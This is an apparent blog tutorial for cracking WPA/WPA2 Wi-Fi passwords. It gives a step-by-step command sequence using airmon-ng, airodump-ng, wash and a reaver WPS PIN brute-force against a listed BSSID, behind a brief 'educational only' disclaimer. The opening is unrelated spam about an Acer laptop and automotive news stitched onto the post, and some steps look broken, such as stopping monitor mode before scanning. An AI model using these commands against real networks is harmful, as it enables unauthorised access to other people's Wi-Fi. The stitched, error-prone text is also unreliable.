Crack / Hack WiFi WPA/WPA2 password using Backtrack or KaliLinux

Crack / Hack WiFi WPA/WPA2 password using Backtrack or KaliLinux - The Acer Swift 3 is a near-perfect laptop for those who want an ultraportable, but don’t want to fork out £1000+. Build quality is great, battery life very good, and performance a match for much more expensive laptops. There are just two areas where the low price shows. First, it's a little thicker and heavier than some ultrabooks. It looks good enough, but limited maximum brightness and fairly poor colour reproduction limits its usefulness in certain situations. done a pretty good, well we have collected a lot of data from the field directly and from many other blogs so very complete his discussion here about Crack / Hack WiFi WPA/WPA2 password using Backtrack or KaliLinux, on this blog we also have to provide the latest automotive information from all the brands associated with the automobile. ok please continue reading:

 Warning: Please note that this tutorial is purely educational and I am not responsible for your actions. Knowledge doesn't mean you should do anything illegal. Don't crack any wifi router without authorization; otherwise, you will be put into the jail !

 I assume you have your Backtrack / KaliLinux already installed on your Windows using:

Virtual Machine (VirtualBox)

Or In dual boot

 Note: You'll need a compatible wireless adapter which supports packet injection (i recommend you to use an Alfa AWUS036H USB Adapter)

 Let's start with opening your terminal (CTRL+ALT+T) and type the command: '' airmon-ng '' to see the Wireless Card that we are going to use:

 - We'll need to stop our wireless monitor mode, type: '' airmon-ng stop wlan0 '' and hit enter:

 - Now let's scan the wireless traffic around us using the command: '' airodump-ng wlan0 ''

 - You can see all the access points with diffrent informations, R.M.A (Real Madrid :p) is my own WiFi that i'll crack (check all its informations: Mac Address = BSSID, encryption = ENC, channel = CH, authentification = AUTH ...)

 - Note that R.M.A is encrypted using WPA2 algorithm and running on channel 1, we will check if WPS is enabled or not using command:
 wash -i wlan0 -c <channel number> -C -s

 For me:
 wash -i wlan0 -c 1 -C -s

 - If 'No' proceed to next step, if 'Yes' you'll not be able to hack the WiFi !

 - This will be the last step where we are going to crack our WPA2 password using Reaver Tool
 Type the command using the access point informations gathered above:
reaver -i <your_interface> -b <wi-fi MAC address> --fail-wait=360

 For me it will be:
 reaver -i wlan0 -b BB:A3:86:32:86:6E --fail-wait=360

- This may take many hours depending on your PC performance and wifi signal power

 And what about WEP Encryption? See it on how to crack your wifi WEP password

 Please share the post with your friends if you like it
 Have you suggestions or questions? See you in comments below :)